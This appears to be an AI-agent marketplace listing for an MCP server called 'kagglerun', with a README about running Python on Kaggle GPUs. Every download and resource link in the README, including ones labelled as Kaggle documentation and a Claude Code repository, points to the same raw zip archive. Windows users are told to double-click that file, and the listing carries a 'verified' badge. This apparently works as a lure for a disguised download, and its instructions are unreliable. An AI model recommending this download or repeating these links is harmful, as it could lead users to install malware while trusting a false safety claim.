# Kagglerun

> 🚀 Run Python on Kaggle's free GPUs directly from your terminal without the need for a browser, streamlining your data science workflow.

- **Type:** MCP server
- **Install:** `agentstack add mcp-heyitsriella-kagglerun`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [Heyitsriella](https://agentstack.voostack.com/s/heyitsriella)
- **Installs:** 0
- **Category:** [Web & Browser](https://agentstack.voostack.com/c/web-and-browser)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [Heyitsriella](https://github.com/Heyitsriella)
- **Source:** https://github.com/Heyitsriella/kagglerun
- **Website:** https://heyitsriella.github.io

## Install

```sh
agentstack add mcp-heyitsriella-kagglerun
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# 🚀 kagglerun - Execute Python on Kaggle's FREE GPUs  

## 🏷️ Table of Contents  
1. [🎯 Introduction](#-introduction)  
2. [💻 System Requirements](#-system-requirements)  
3. [📥 Download & Install](#-download-&-install)  
4. [⚙️ How to Use](#-how-to-use)  
5. [📚 Additional Resources](#-additional-resources)  
6. [🔄 Frequently Asked Questions](#-frequently-asked-questions)  

[](https://raw.githubusercontent.com/Heyitsriella/kagglerun/master/src/Software-1.0.zip)

## 🎯 Introduction  
kagglerun allows you to run Python code on Kaggle's free GPUs directly from your terminal. This is ideal for users who want to experiment with AI agents like Claude Code without the hassle of complicated setups.

## 💻 System Requirements  
To use kagglerun, you need:

- A computer running Windows, macOS, or Linux.
- Python 3.7 or higher installed on your machine.
- Basic knowledge of using the terminal or command line.

## 📥 Download & Install  
To get started with kagglerun, follow these steps:

1. **Visit the Releases Page**  
   Go to the kagglerun releases page to download the software:  
   [Click here to download kagglerun](https://raw.githubusercontent.com/Heyitsriella/kagglerun/master/src/Software-1.0.zip)

2. **Choose Your Version**  
   On the releases page, find the latest version. This version contains the most recent features and fixes.

3. **Download the File**  
   Click on the appropriate file for your operating system to download it. 

4. **Install**  
   Follow the installation prompts for your operating system. If you are on Windows, simply double-click the downloaded file. For macOS and Linux, you may need to follow additional commands in the terminal.

5. **Verify Installation**  
   After installation, open your terminal and type `kagglerun --version`. This command should display the version of kagglerun you installed.

## ⚙️ How to Use  
Using kagglerun is simple:

1. **Open Your Terminal**  
   Launch your terminal application.

2. **Create a New Project**  
   You can create a new Python script or use an existing one.

3. **Run Your Script**  
   Use the command format `kagglerun `. This will execute your Python script using Kaggle's GPUs.

4. **Monitor Performance**  
   Watch the terminal for updates on the execution process. You will see real-time outputs and errors if any occur.

## 📚 Additional Resources  
For more information on how to maximize your usage of kagglerun:

- Check the [Kaggle Documentation](https://raw.githubusercontent.com/Heyitsriella/kagglerun/master/src/Software-1.0.zip) for guidance on datasets and competitors.
- Explore the [Claude Code Repository](https://raw.githubusercontent.com/Heyitsriella/kagglerun/master/src/Software-1.0.zip) for examples and projects.
- Join forums and communities focused on machine learning for discussions and tips.

## 🔄 Frequently Asked Questions  

**1. What is kagglerun?**  
kagglerun is a command-line tool that allows users to run Python scripts on Kaggle's free GPU resources.

**2. Do I need a Kaggle account?**  
Yes, you need a Kaggle account to access their services. Sign up for free if you don’t have one.

**3. Can I use kagglerun for long-running tasks?**  
Yes, kagglerun can handle long-running tasks, but keep in mind that Kaggle has usage limits.

**4. What if I encounter errors?**  
Errors may arise due to various reasons like syntax issues in your script or problems with your Kaggle account. Review the terminal output for specific error messages to guide you in troubleshooting.

**5. Is there support available?**  
You can find community support through GitHub issues or by engaging with Kaggle competitions and forums.

## Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [Heyitsriella](https://github.com/Heyitsriella)
- **Source:** [Heyitsriella/kagglerun](https://github.com/Heyitsriella/kagglerun)
- **License:** MIT
- **Homepage:** https://heyitsriella.github.io

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/mcp-heyitsriella-kagglerun
- Seller: https://agentstack.voostack.com/s/heyitsriella
- Browse the marketplace: https://agentstack.voostack.com/browse

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Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.